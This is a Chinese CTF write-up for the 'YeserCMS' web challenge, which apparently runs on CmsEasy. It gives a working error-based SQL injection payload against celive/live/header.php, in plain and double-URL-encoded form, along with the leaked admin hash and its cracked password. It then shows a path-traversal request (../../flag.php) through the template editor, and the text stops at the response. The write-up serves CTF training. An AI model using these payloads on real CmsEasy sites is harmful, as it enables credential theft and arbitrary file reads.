CTF || 【“百度杯”CTF比赛 九月场 Web】YeserCMS

【“百度杯”CTF比赛 九月场 Web】YeserCMS
题目内容:新的CMS系统,帮忙测测是否有漏洞。tips:flag在网站根目录下的flag.php中
分值:50分 类型:Web

SQL注入、任意文件下载漏洞

点击文档下载,评论区看到cmseasy。


image.png

搜索cmseasy公开漏洞,可以查到许多通用漏洞
https://www.seebug.org/appdir/CmsEasy
使用无限制报错注入
https://www.seebug.org/vuldb/ssvid-94084

celive/live/header.php同时postdataxajax=Postdata&xajaxargs[0]=detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)--
用burpsuite抓包,发现postdata的数据被截断了,只显示xajax=Postdata&xajaxargs%5B0%5D=%3Cxjxquery%3E%3Cq%3Edetail,send to repeater,将这一部分替换为detail参数的部分用urlencode编码2次的数据(只用编码detail参数,xajax=Postdata&xajaxargs[0]=不变),即xajax=Postdata&xajaxargs[0]=detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Csubstring%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528username%252Cpassword%2529%2520from%2520yesercms_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520,go,可以看到返回

XPATH syntax error: '[adminff512d4240cbbdeafada404677'

INSERT INTO `yesercms_detail` (`chatid`,`detail`,`who_witter`) VALUES('','xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- (2018-08-13 15:52:38)','2')

得到用户名和密码adminff512d4240cbbdeafada404677
XPATH syntax error可以显示32位,其中[固定占以为。md5的长度也不够,还是需要调整1,32为7,39,来查看完整的md5
xajax=Postdata&xajaxargs[0]=detail=xxxxxx%2527%252c(UpdateXML(1%252cCONCAT(0x5b%252csubstring((SELECT%252f**%252fGROUP_CONCAT(username%252cpassword)%2bfrom%2byesercms_user)%252c7%252c39)%252c0x5d)%252c1))%252cNULL%252cNULL%252cNULL%252cNULL%252cNULL%252cNULL)--%2b
repeater返回

XPATH syntax error: '[f512d4240cbbdeafada404677ccbe61'

INSERT INTO `yesercms_detail` (`chatid`,`detail`,`who_witter`) VALUES('','xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),7,39),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- (2018-08-13 16:22:21)','2')

用户名admin,密码ff512d4240cbbdeafada404677ccbe61,md5解密为Yeser231。(抄个答案,http://www.cmd5.com/表示已查到,这是一条付费记录。请点击购买……)

登陆-管理-模版当前模版编辑-编辑,抓包,repeater,将&id=#ditu_html改为&id=../../flag.php,go,返回

{"content":"